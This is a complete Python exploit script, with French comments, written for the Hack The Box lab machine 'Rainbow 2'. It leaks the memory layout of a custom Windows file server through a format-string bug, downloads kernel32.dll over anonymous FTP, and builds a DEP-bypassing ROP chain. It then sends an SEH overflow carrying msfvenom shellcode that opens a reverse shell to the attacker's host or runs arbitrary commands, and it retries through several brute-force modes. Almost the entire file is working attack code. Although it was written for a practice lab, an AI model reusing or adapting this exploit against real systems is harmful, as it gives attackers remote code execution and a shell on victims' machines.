#!/usr/bin/env python3
"""
HTB RainbowTwo

Correctifs critiques :
  - Leak ASLR + overflow sur la MEME connexion TCP (comme le writeup original)
  - Payload 4000 octets (force Access Violation dans snprintf AVANT le check GS canary)
    → avec 1200 octets le snprintf ne deborde pas sa page memoire, la fonction
      retourne, le GS canary detecte la corruption, __fastfail tue le process
      SANS passer par SEH → notre handler n'est JAMAIS appele
  - Calcul dynamique offset VirtualAlloc-TlsAlloc depuis kernel32.dll du FTP
  - ROP chain verifiee (17/17 gadgets confirmes), gadgets sans 0x01/0x1a
  - Support modes : reverse_tcp, exec CMD, ping diagnostic

Usage :
  Terminal 1 : nc -lvnp 4444
  Terminal 2 : python3 exploit_v3.py

  Diagnostique ping :
    Terminal 1 : sudo tcpdump -i tun0 icmp
    Terminal 2 : python3 exploit_v3.py --ping

  Test local WinDbg (cible = VM Windows) :
    Modifier CIBLE_IP_WINVM avec l'IP de ta Windows (ipconfig).
    python3 exploit_v3.py --local --ping
"""
import struct, sys, os, time, subprocess, re, argparse
from ftplib import FTP
from pwn import remote, log, p32

# ══════════════════════════════════════════════════════════════════════════
# CONFIG
# ══════════════════════════════════════════════════════════════════════════
# Cible HTB (box Rainbow 2)
CIBLE_IP   = "10.129.2.76"
# VM Windows locale pour test WinDbg :
# - Kali en NAT (VMnet8) → depuis Kali l'hôte Windows = 192.168.43.1
# - Kali en NAT (VMnet8) → hôte Windows = 192.168.43.1
# - Kali en Host-Only (VMnet1) → hôte Windows = 192.168.56.1
# Le ping Kali→192.168.43.1 peut échouer (ICMP bloqué côté Windows) ; l’exploit utilise TCP 2121.
CIBLE_IP_WINVM = "192.168.43.1"
# HTB : LHOST = ton tun0 (ip a show tun0). Port 443 souvent autorise en sortie.
LHOST      = "10.10.16.59"
CIBLE_PORT = 2121
LPORT      = 443

BAD_SET = {0x00, 0x01, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x1a, 0x20, 0x25}
BAD_STR = r"\x00\x01\x09\x0a\x0b\x0c\x0d\x1a\x20\x25"

SEH_OFFSET    = 1032
ROP_SIZE      = 124
NOP_SIZE      = 4
MAX_RETRIES   = 40

# ══════════════════════════════════════════════════════════════════════════
# OFFSET DYNAMIQUE : telecharge kernel32.dll et calcule l'offset
# ══════════════════════════════════════════════════════════════════════════
def download_kernel32(ip, local_path="kernel32.dll"):
    if os.path.exists(local_path):
        log.info(f"kernel32.dll present ({os.path.getsize(local_path)} bytes)")
        return local_path
    log.info(f"Telechargement kernel32.dll depuis FTP {ip}...")
    ftp = FTP(ip)
    ftp.login("anonymous", "")
    with open(local_path, "wb") as f:
        ftp.retrbinary("RETR SysWOW64/kernel32.dll", f.write)
    ftp.quit()
    log.success(f"kernel32.dll telecharge ({os.path.getsize(local_path)} bytes)")
    return local_path


def pe_exports(path):
    """Parse les exports PE, retourne {name: rva}. Ignore les forwarders."""
    with open(path, "rb") as f:
        d = f.read()
    pe_off = struct.unpack_from("<I", d, 0x3C)[0]
    coff = pe_off + 4
    nsec = struct.unpack_from("<H", d, coff + 2)[0]
    osz  = struct.unpack_from("<H", d, coff + 16)[0]
    opt  = coff + 20
    magic = struct.unpack_from("<H", d, opt)[0]
    dd = opt + (96 if magic == 0x10b else 112)
    erva, esz = struct.unpack_from("<II", d, dd)
    ss = opt + osz
    secs = []
    for i in range(nsec):
        o = ss + i * 40
        va = struct.unpack_from("<I", d, o + 12)[0]
        vs = struct.unpack_from("<I", d, o + 8)[0]
        ro = struct.unpack_from("<I", d, o + 20)[0]
        rs = struct.unpack_from("<I", d, o + 16)[0]
        secs.append((va, vs, ro, rs))

    def r2o(rva):
        for va, vs, ro, rs in secs:
            if va <= rva < va + max(vs, rs):
                return rva - va + ro
        return rva

    eo = r2o(erva)
    nn = struct.unpack_from("<I", d, eo + 24)[0]
    at = r2o(struct.unpack_from("<I", d, eo + 28)[0])
    nt = r2o(struct.unpack_from("<I", d, eo + 32)[0])
    ot = r2o(struct.unpack_from("<I", d, eo + 36)[0])
    exports = {}
    for i in range(nn):
        nr = struct.unpack_from("<I", d, nt + i * 4)[0]
        no = r2o(nr)
        ne = d.index(b"\x00", no)
        name = d[no:ne].decode("ascii", errors="ignore")
        ordinal = struct.unpack_from("<H", d, ot + i * 2)[0]
        frva = struct.unpack_from("<I", d, at + ordinal * 4)[0]
        is_fwd = (erva <= frva < erva + esz)
        if not is_fwd:
            exports[name] = frva
        else:
            fwd_off = r2o(frva)
            fwd_end = d.index(b"\x00", fwd_off)
            fwd_str = d[fwd_off:fwd_end].decode("ascii", errors="ignore")
            exports[name] = ("FWD", fwd_str, frva)
    return exports


def calc_va_offset(kernel32_path):
    """Calcule (VirtualAlloc - TlsAlloc) & 0xFFFFFFFF depuis kernel32.dll."""
    exp = pe_exports(kernel32_path)
    tls_info = exp.get("TlsAlloc")
    va_info  = exp.get("VirtualAlloc")

    if tls_info is None or va_info is None:
        log.error("TlsAlloc ou VirtualAlloc introuvable!")
        return None

    tls_fwd = isinstance(tls_info, tuple)
    va_fwd  = isinstance(va_info, tuple)

    if tls_fwd or va_fwd:
        log.warning("Forwarders detectes dans kernel32.dll:")
        if tls_fwd:
            log.warning(f"  TlsAlloc -> {tls_info[1]} (RVA=0x{tls_info[2]:08x})")
        if va_fwd:
            log.warning(f"  VirtualAlloc -> {va_info[1]} (RVA=0x{va_info[2]:08x})")

        if tls_fwd and va_fwd:
            log.warning("Les deux sont forwarders, offset inter-DLL impossible.")
            log.warning("On essaie quand meme avec les RVAs bruts des forwarders...")
            tls_rva = tls_info[2]
            va_rva  = va_info[2]
        elif tls_fwd:
            tls_rva = tls_info[2]
            va_rva  = va_info
        else:
            tls_rva = tls_info
            va_rva  = va_info[2]
    else:
        tls_rva = tls_info
        va_rva  = va_info

    offset = (va_rva - tls_rva) & 0xFFFFFFFF
    log.info(f"  TlsAlloc     RVA = 0x{tls_rva:08x}")
    log.info(f"  VirtualAlloc RVA = 0x{va_rva:08x}")
    log.success(f"  Offset VirtualAlloc - TlsAlloc = 0x{offset:08x}")

    if offset == 0xffffcec0:
        log.info("  -> MATCH writeup original (0xffffcec0)")
    elif offset == 0xffffced0:
        log.info("  -> MATCH exploit v2 (0xffffced0)")
    else:
        log.warning(f"  -> DIFFERENT des deux valeurs connues!")

    return offset


# ══════════════════════════════════════════════════════════════════════════
# SHELLCODE
# ══════════════════════════════════════════════════════════════════════════
def gen_sc(payload, encoder="x86/call4_dword_xor", **params):
    args = ["msfvenom", "-p", payload]
    for k, v in params.items():
        args.append(f"{k}={v}")
    args += ["-b", BAD_STR, "-e", encoder, "-i", "1", "-f", "python", "-v", "sc"]
    try:
        r = subprocess.run(args, capture_output=True, text=True, timeout=30)
        out = r.stdout + r.stderr
        sc = bytes(int(m.group(1), 16) for m in re.finditer(r"\\x([0-9a-fA-F]{2})", out))
        if not sc:
            return None
        if any(b in BAD_SET for b in sc):
            return None
        return sc
    except Exception:
        return None


# ══════════════════════════════════════════════════════════════════════════
# ASLR LEAK
# ══════════════════════════════════════════════════════════════════════════
def leak_base():
    c = remote(CIBLE_IP, CIBLE_PORT)
    c.sendline(b"TEST %p.%p")
    c.recvuntil(b".")
    val = int(c.recvline().strip(), 16) - 0x14120
    c.close()
    return val


# ══════════════════════════════════════════════════════════════════════════
# ROP CHAIN
# Ordre identique au writeup original :
#   ECX=0x40  EDX=0x1000  EBX=1  EBP=pop_ebp_ret  ESI=jmp_eax
#   EDI=offset → EAX=VirtualAlloc → EDI=ret → pushad → jmp_esp
# Gadgets adaptes pour eviter 0x01 et 0x1a (bad chars supplementaires)
# ══════════════════════════════════════════════════════════════════════════
def build_rop(base, va_offset):
    magic = (base + 0x9013c + 0x8314c26b) & 0xffffffff
    g = b""

    # ECX = 0x40 (PAGE_EXECUTE_READWRITE)
    g += p32(base + 0x3711e)    # pop eax; ret
    g += p32(0x8314c2ab)        # 0x8314c26b + 0x40
    g += p32(base + 0x32ce4)    # sub eax, 0x8314c26b; ret → eax=0x40
    g += p32(base + 0x01068)    # pop esi; ret
    g += p32(base + 0x01068)    # ESI = pop_esi_ret
    g += p32(base + 0x48ca8)    # xchg edi, eax; ret → edi=0x40
    g += p32(base + 0x15638)    # mov ecx, edi; call esi → ecx=0x40

    # EDX = 0x1000 (MEM_COMMIT)
    g += p32(base + 0x3711e)    # pop eax; ret
    g += p32(0x8314d26b)        # 0x8314c26b + 0x1000
    g += p32(base + 0x32ce4)    # sub eax, 0x8314c26b; ret → eax=0x1000
    g += p32(base + 0x3039f)    # mov edx, eax; mov eax, esi; pop esi; ret
    g += p32(0x41414141)        # padding pop esi

    # EBX = 1 (dwSize)
    g += p32(base + 0x0dc14)    # pop ebx; ret
    g += p32(0xffffffff)
    g += p32(base + 0x3ac3c)    # inc ebx; mov eax, edx; ret → ebx=0
    g += p32(base + 0x3ac3c)    # inc ebx; mov eax, edx; ret → ebx=1

    # EBP = pop_ebp_ret (retour apres VirtualAlloc)
    g += p32(base + 0x0100f)    # pop ebp; ret
    g += p32(base + 0x0100f)    # ebp = pop_ebp_ret

    # ESI = jmp eax (dispatch VirtualAlloc)
    g += p32(base + 0x01068)    # pop esi; ret
    g += p32(base + 0x14af9)    # esi = jmp eax

    # EDI = offset → EAX = VirtualAlloc (via IAT TlsAlloc)
    g += p32(base + 0x15354)    # pop edi; ret
    g += p32(va_offset)         # edi = VirtualAlloc - TlsAlloc
    g += p32(base + 0x3711e)    # pop eax; ret
    g += p32(magic)             # eax = IAT + obfuscation (evite 0x01)
    g += p32(base + 0x32ce4)    # sub eax → eax = &IAT[TlsAlloc]
    g += p32(base + 0x2bb8e)    # mov eax, [eax]; ret → eax = TlsAlloc
    g += p32(base + 0x113a8)    # add eax, edi; ret → eax = VirtualAlloc

    # EDI = ret (RESET apres calcul, necessaire pour pushad)
    g += p32(base + 0x15354)    # pop edi; ret
    g += p32(base + 0x01010)    # edi = ret gadget

    # pushad → place tous les regs comme args VirtualAlloc
    # jmp esp → execute le shellcode
    g += p32(base + 0x113b1)    # pushad; ret
    g += p32(base + 0x11394)    # jmp esp

    assert len(g) == 124
    return g


# ══════════════════════════════════════════════════════════════════════════
# PAYLOAD ASSEMBLY
# ══════════════════════════════════════════════════════════════════════════
PIVOTS = {
    0xe10: 0x11396,   # add esp, 0xe10; ret
    0xd60: 0x1139d,   # add esp, 0xd60; ret
}

def build_payload(sc, base, rop, payload_size=1200, pivot_offset=0x11396, sled_count=None):
    ret   = p32(base + 0x01010)
    nseh  = p32(base + 0x01068)   # pop esi; ret
    pivot = p32(base + pivot_offset)

    if sled_count is None:
        sled_space = SEH_OFFSET - ROP_SIZE - NOP_SIZE - len(sc)
        if sled_space < 4:
            raise ValueError(f"Shellcode trop grand ({len(sc)}o), espace sled={sled_space}")
        sled_count = sled_space // 4

    content = ret * sled_count + rop + b"\x90" * NOP_SIZE + sc
    junk = b"\x44" * (SEH_OFFSET - len(content))
    pad  = b"\x44" * (payload_size - SEH_OFFSET - 8)
    payload = content + junk + nseh + pivot + pad

    for i, b in enumerate(payload):
        if b in BAD_SET:
            raise ValueError(f"Bad char 0x{b:02x} at offset {i}")
    return payload, sled_count


def send_exploit(sc, va_offset, label, payload_size=4000, pivot_offset=0x11396, target_ip=None, sled_count=None):
    """Leak ASLR + overflow sur la MEME connexion (comme le writeup original).
    CRITICAL: 4000 octets forcent un Access Violation dans snprintf AVANT
    le check GS canary, ce qui dispatch l'exception via SEH → notre handler.
    target_ip: si None, utilise CIBLE_IP ; mets CIBLE_IP_WINVM pour test WinDbg."""
    ip = target_ip or CIBLE_IP
    c = remote(ip, CIBLE_PORT)

    # Step 1: Leak ASLR base sur CETTE connexion
    # Sur certaines builds le serveur résout le path (canonical) avant d'envoyer "Path: ...".
    # Si le path est "%p.%p" la résolution lance "fichier introuvable" et on n'a jamais la réponse.
    # → Créer sur la cible un fichier nommé "%p.%p" dans C:\shared pour que la résolution
    #   ne lance pas, tout en gardant le path original pour le format string.
    # On essaie d'abord LST puis TEST.
    for leak_cmd in (b"LST %p.%p", b"TEST %p.%p"):
        c.sendline(leak_cmd)
        data = b""
        try:
            for _ in range(20):
                chunk = c.recv(4096, timeout=0.3)
                if not chunk:
                    break
                data += chunk
                if b"Path:" in data and b"." in data:
                    break
        except Exception:
            pass
        if b"Path:" in data and b"." in data:
            break
        time.sleep(0.5)
        try:
            c.close()
        except Exception:
            pass
        c = remote(ip, CIBLE_PORT)
    else:
        c.close()
        raise ValueError(
            "Leak failed: server closed before sending Path: hex.hex. "
            "Sur Windows, creez un fichier vide nomme exactement '%%p.%%p' dans C:\\shared, "
            "puis relancez filesrv. PowerShell: New-Item -ItemType File -Path 'C:\\shared\\%%p.%%p' -Force"
        )
    # Parser la réponse (Path: XXXXX.YYYY ou Path:\nXXXXX.YYYY)
    m = re.search(rb"Path:\s*([0-9A-Fa-f]+)\.([0-9A-Fa-f]+)", data)
    if not m:
        raise ValueError("Leak failed: could not parse Path: hex.hex in response")
    second_hex = m.group(2)
    base = int(second_hex, 16) - 0x14120

    # Step 2: Build ROP + payload
    rop = build_rop(base, va_offset)
    pivot_size = {0x11396: 0xe10, 0x1139d: 0xd60}.get(pivot_offset, 0)
    payload, actual_sled = build_payload(sc, base, rop, payload_size, pivot_offset, sled_count=sled_count)
    sc_offset = actual_sled * 4 + len(rop) + NOP_SIZE
    log.info(f"[{label}] base={hex(base)} pivot=0x{pivot_size:x} sled={actual_sled}x4={actual_sled*4}o SC@{sc_offset} ({len(sc)}o) total={len(payload)}o")

    # Step 3: Overflow sur la MEME connexion
    c.sendline(b"TEST " + payload)
    crashed = True
    try:
        msg = c.recvline(timeout=5)
        if not msg:
            log.success(f"[{label}] Crash! (connexion fermee)")
        elif b"ERROR" in msg or b"Path:" in msg:
            crashed = False
            log.warning(f"[{label}] Reponse serveur (pas de crash): {msg.strip()[:80]}")
        else:
            log.success(f"[{label}] Reponse: {msg.strip()[:40]}")
    except Exception:
        log.success(f"[{label}] Crash! (pas de reponse)")
    finally:
        c.close()
    return crashed


# ══════════════════════════════════════════════════════════════════════════
# MODE DIAGNOSTIC : test avec differents offsets
# ══════════════════════════════════════════════════════════════════════════
def test_offsets(sc, payload_size, target_ip=None, sled_count=None):
    """Essaie les offsets connus pour voir lequel fonctionne."""
    ip = target_ip or CIBLE_IP
    offsets_to_try = [
        (0xffffcec0, "writeup original"),
        (0xffffced0, "exploit v2"),
    ]

    log.info("=" * 60)
    log.info("MODE BRUTE OFFSET : teste les offsets connus")
    log.info("Surveille 'nc -lvnp 4444' ou 'tcpdump -i tun0 icmp'")
    log.info("=" * 60)

    for va_off, desc in offsets_to_try:
        log.info(f"\n--- Essai offset 0x{va_off:08x} ({desc}) ---")
        for attempt in range(1, 6):
            try:
                crashed = send_exploit(sc, va_off,
                                       f"OFF-{va_off:08x}#{attempt}",
                                       payload_size, target_ip=ip, sled_count=sled_count)
            except Exception as e:
                log.error(f"Erreur: {e}")
                continue
            if crashed:
                log.success(f"Crash avec offset 0x{va_off:08x} ({desc})")
                log.info("Attente 8s pour le shell/ping...")
                time.sleep(8)
            time.sleep(0.5)
        time.sleep(2)


# ══════════════════════════════════════════════════════════════════════════
# MAIN
# ══════════════════════════════════════════════════════════════════════════
def main():
    parser = argparse.ArgumentParser(
        description="HTB Rainbow 2 - Exploit v3",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Exemples:
  python3 exploit_v3.py --hunt                  # RECOMMANDE: sweet spot AV x offsets x pivots
  python3 exploit_v3.py --auto                  # toutes les combinaisons size x pivot
  python3 exploit_v3.py                         # reverse shell (size defaut)
  python3 exploit_v3.py --ping --hunt           # diagnostic ping en mode hunt
  python3 exploit_v3.py --brute                 # teste tous les offsets
  python3 exploit_v3.py --offset 0xffffcec0     # force l'offset
  python3 exploit_v3.py --size 2600             # payload 2600 octets
  python3 exploit_v3.py --cmd "whoami > C:\\out" # execute une commande
        """)

    parser.add_argument("--ping", action="store_true",
                        help="Shellcode ping (diagnostic)")
    parser.add_argument("--cmd", type=str, default=None,
                        help="Shellcode windows/exec CMD=...")
    parser.add_argument("--offset", type=str, default=None,
                        help="Force l'offset VirtualAlloc-TlsAlloc (hex)")
    parser.add_argument("--size", type=int, default=4000,
                        help="Taille payload (defaut: 4000; HTB peut rejeter -> essayer --size 1040)")
    parser.add_argument("--brute", action="store_true",
                        help="Teste tous les offsets connus")
    parser.add_argument("--pivot", type=str, default=None,
                        help="Pivot: 'e10' ou 'd60' (defaut: e10)")
    parser.add_argument("--sled", type=int, default=None,
                        help="Nombre de gadgets 'ret' avant la ROP (writeup: 30, defaut: auto)")
    parser.add_argument("--sweep", action="store_true",
                        help="Teste les 2 pivots (0xe10 et 0xd60) x 3 crashes chacun")
    parser.add_argument("--auto", action="store_true",
                        help="HTB: teste toutes les combinaisons size x pivot (e10,d60)")
    parser.add_argument("--hunt", action="store_true",
                        help="HTB: tailles AV sweet spot (2200-3500) x 3 offsets x 2 pivots")
    parser.add_argument("--skip-ftp", action="store_true",
                        help="Skip FTP, utilise offset force ou writeup")
    parser.add_argument("--local", action="store_true",
                        help="Cible = VM Windows (CIBLE_IP_WINVM) pour test WinDbg")
    parser.add_argument("--retries", type=int, default=MAX_RETRIES,
                        help="Nombre max de tentatives")
    args = parser.parse_args()

    # ── Offset VirtualAlloc ──
    calculated_offset = None
    if not args.skip_ftp and not args.offset and not args.local:
        try:
            k32 = download_kernel32(CIBLE_IP)
            calculated_offset = calc_va_offset(k32)
        except Exception as e:
            log.warning(f"FTP/calcul echoue: {e}")

    # En mode --local : si kernel32.dll est dans le dossier du script ou le cwd, l'utiliser pour l'offset
    if args.local and not args.offset:
        for candidate in ("kernel32.dll", os.path.join(os.path.dirname(os.path.abspath(__file__)), "kernel32.dll")):
            if os.path.isfile(candidate):
                try:
                    calculated_offset = calc_va_offset(candidate)
                    log.info("Offset calcule depuis kernel32.dll local (VM Windows)")
                    break
                except Exception as e:
                    log.warning(f"Calcul offset depuis {candidate}: {e}")

    target_ip = CIBLE_IP_WINVM if args.local else CIBLE_IP
    if args.local:
        log.info("Cible = VM Windows (WinDbg): %s — mets l'IP de ta Windows dans CIBLE_IP_WINVM si besoin" % target_ip)

    if args.offset:
        va_offset = int(args.offset, 16)
        log.info(f"Offset force: 0x{va_offset:08x}")
    elif calculated_offset is not None:
        va_offset = calculated_offset
    else:
        va_offset = 0xffffcec0
        log.info(f"Fallback offset writeup: 0x{va_offset:08x}")

    # ── Shellcode ──
    if args.ping:
        log.info("Generation shellcode PING...")
        sc = gen_sc("windows/exec", CMD=f"ping {LHOST} -n 4")
        if sc is None:
            log.error("Echec msfvenom ping")
            sys.exit(1)
        log.info(f"Shellcode ping: {len(sc)} octets")
    elif args.cmd:
        log.info(f"Generation shellcode CMD: {args.cmd}")
        sc = gen_sc("windows/exec", CMD=args.cmd)
        if sc is None:
            log.error("Echec msfvenom exec")
            sys.exit(1)
        log.info(f"Shellcode exec: {len(sc)} octets")
    else:
        log.info("Generation shellcode reverse_tcp...")
        sc = gen_sc("windows/shell_reverse_tcp",
                    LHOST=LHOST, LPORT=str(LPORT), EXITFUNC="thread")
        if sc is None:
            log.error("Echec msfvenom reverse_tcp")
            sys.exit(1)
        log.info(f"Shellcode reverse_tcp: {len(sc)} octets")

    sled_max = (SEH_OFFSET - ROP_SIZE - NOP_SIZE - len(sc)) // 4
    log.info(f"Ret sled max: {sled_max} gadgets ({sled_max*4} bytes) — zone atterrissage pivot")

    # ── Choix du pivot ──
    pivot_offset = 0x11396  # default: add esp, 0xe10
    if args.pivot:
        pv = args.pivot.lower().replace("0x", "")
        if pv == "d60":
            pivot_offset = 0x1139d
        elif pv == "e10":
            pivot_offset = 0x11396
        else:
            log.error(f"Pivot inconnu: {args.pivot} (utilise 'e10' ou 'd60')")
            sys.exit(1)
    pivot_name = {0x11396: "0xe10 (3600)", 0x1139d: "0xd60 (3424)"}.get(pivot_offset, hex(pivot_offset))

    # ── Mode brute ──
    if args.brute:
        test_offsets(sc, args.size, target_ip, args.sled)
        return

    # ── Mode sweep : teste les 2 pivots ──
    if args.sweep:
        log.info("=" * 60)
        log.info("SWEEP — test des 2 pivots x 3 crashes chacun")
        if args.ping:
            log.info("Surveille : sudo tcpdump -i tun0 icmp")
        else:
            log.info(f"Surveille : nc -lvnp {LPORT}")
        log.info("=" * 60)
        for pv_name, pv_off in [("0xe10", 0x11396), ("0xd60", 0x1139d)]:
            log.info(f"\n{'─'*40}")
            log.info(f"PIVOT {pv_name} (offset gadget 0x{pv_off:05x})")
            log.info(f"{'─'*40}")
            crash_count = 0
            for attempt in range(1, 16):
                try:
                    crashed = send_exploit(sc, va_offset, f"PV{pv_name}#{attempt}",
                                           args.size, pv_off, target_ip=target_ip, sled_count=args.sled)
                except Exception as e:
                    log.error(f"Erreur: {e}")
                    continue
                if crashed:
                    crash_count += 1
                    log.info(f"Crash #{crash_count} avec pivot {pv_name}! Verifie...")
                    time.sleep(5)
                    if crash_count >= 3:
                        log.info(f"3 crashes avec pivot {pv_name}, passage au suivant")
                        break
                time.sleep(0.3)
            time.sleep(2)
        log.info("Sweep termine. Verifie si un ping/shell est arrive.")
        return

    # ── Mode HUNT : tailles intermediaires x 3 offsets x 2 pivots ──
    # Cible la zone ou l'AV se declenche AVANT le check GS canary
    # sans que le serveur rejette avec ERROR (zone 2200-3500)
    if args.hunt:
        HUNT_SIZES = [2600, 2400, 2800, 3000, 2200, 3200, 3500]
        HUNT_OFFSETS = []
        if calculated_offset is not None and calculated_offset != 0xffffcec0 and calculated_offset != 0xffffced0:
            HUNT_OFFSETS.append((calculated_offset, "ftp-calc"))
        HUNT_OFFSETS.append((0xffffcec0, "writeup"))
        HUNT_OFFSETS.append((0xffffced0, "custom"))
        HUNT_PIVOTS = [(0x11396, "e10"), (0x1139d, "d60")]
        crashes_per = 3

        log.info("=" * 60)
        log.info("MODE HUNT — sweet spot AV (tailles %s)" % HUNT_SIZES)
        log.info("  Offsets: %s" % [(hex(o), n) for o, n in HUNT_OFFSETS])
        log.info("  Pivots: e10, d60 — sled=30 (comme custom_exploit)")
        log.info("  Surveille : nc -lvnp %s" % LPORT)
        log.info("=" * 60)

        for payload_size in HUNT_SIZES:
            for off_val, off_name in HUNT_OFFSETS:
                for pv_off, pv_name in HUNT_PIVOTS:
                    tag = "H%d-%s-%s" % (payload_size, off_name, pv_name)
                    log.info("")
                    log.info("--- %s (size=%d offset=0x%08x pivot=%s) ---" % (tag, payload_size, off_val, pv_name))
                    crash_count = 0
                    error_count = 0
                    for attempt in range(1, 10):
                        try:
                            crashed = send_exploit(sc, off_val,
                                                   "%s-#%d" % (tag, attempt),
                                                   payload_size, pv_off,
                                                   target_ip=target_ip, sled_count=30)
                        except Exception as e:
                            log.warning("Erreur: %s" % e)
                            continue
                        if crashed:
                            crash_count += 1
                            log.success("CRASH #%d (%s) — attente 8s..." % (crash_count, tag))
                            time.sleep(8)
                            if crash_count >= crashes_per:
                                break
                        else:
                            error_count += 1
                            if error_count >= 5:
                                log.info("Trop d'ERROR pour %s, skip" % tag)
                                break
                            time.sleep(0.3)
                    time.sleep(0.5)
        log.warning("Hunt termine. Verifie nc -lvnp %s." % LPORT)
        sys.exit(0)

    # ── Mode AUTO : toutes les combinaisons size x pivot (pour HTB) ──
    if args.auto and not args.ping and not args.cmd:
        SIZES = [2600, 2400, 2800, 3000, 1040, 1200, 2000, 3200, 3500, 4000]
        PIVOTS = [(0x11396, "e10"), (0x1139d, "d60")]
        attempts_per_combo = 25
        max_crashes_per_combo = 5

        log.info("=" * 60)
        log.info("MODE AUTO — tailles %s x pivots e10/d60" % SIZES)
        log.info("Surveille : nc -lvnp %s" % LPORT)
        log.info("=" * 60)

        for payload_size in SIZES:
            for pv_off, pv_name in PIVOTS:
                log.info("")
                log.info("--- size=%d pivot=%s ---" % (payload_size, pv_name))
                crash_count = 0
                for attempt in range(1, attempts_per_combo + 1):
                    try:
                        crashed = send_exploit(sc, va_offset,
                                               "A%d-%s-#%d" % (payload_size, pv_name, attempt),
                                               payload_size, pv_off, target_ip=target_ip, sled_count=args.sled)
                    except Exception as e:
                        log.warning("Erreur: %s" % e)
                        continue
                    if crashed:
                        crash_count += 1
                        log.success("Crash #%d (size=%d pivot=%s) — attente 5s pour shell..." % (crash_count, payload_size, pv_name))
                        time.sleep(5)
                        if crash_count >= max_crashes_per_combo:
                            log.info("Max crashes pour ce combo, passage au suivant.")
                            break
                    else:
                        time.sleep(0.2)
                time.sleep(1)
        log.warning("Auto termine. Si aucun shell, la box peut rejeter tous les payloads (ERROR).")
        sys.exit(0)

    # ── Exploit loop ──
    log.info("=" * 60)
    log.info(f"EXPLOIT — offset=0x{va_offset:08x} size={args.size} pivot={pivot_name}")
    if args.ping:
        log.info("Surveille : sudo tcpdump -i tun0 icmp")
    else:
        log.info(f"Surveille : nc -lvnp {LPORT}")
    log.info("=" * 60)

    crash_count = 0
    for attempt in range(1, args.retries + 1):
        try:
            crashed = send_exploit(sc, va_offset, f"T{attempt}", args.size, pivot_offset, target_ip=target_ip, sled_count=args.sled)
        except Exception as e:
            log.warning(f"Erreur (tentative {attempt}): {e}")
            time.sleep(1)
            continue

        if crashed:
            crash_count += 1
            if args.ping:
                log.info(f"Crash #{crash_count}! Verifie tcpdump...")
            else:
                log.info(f"Crash #{crash_count}! Verifie nc (attente 15s)...")
            time.sleep(15)

            if crash_count >= 1 and not args.ping:
                log.warning("Si aucun shell : relance avec --ping et surveille 'sudo tcpdump -i tun0 icmp' pour verifier si le shellcode s'execute.")
            if crash_count >= 3 and not args.ping:
                log.warning("Pistes : --sweep (2 pivots), --pivot d60, --brute (offsets)")
        else:
            time.sleep(0.3)

    log.warning(f"{args.retries} tentatives epuisees.")
    sys.exit(1)


if __name__ == "__main__":
    main()
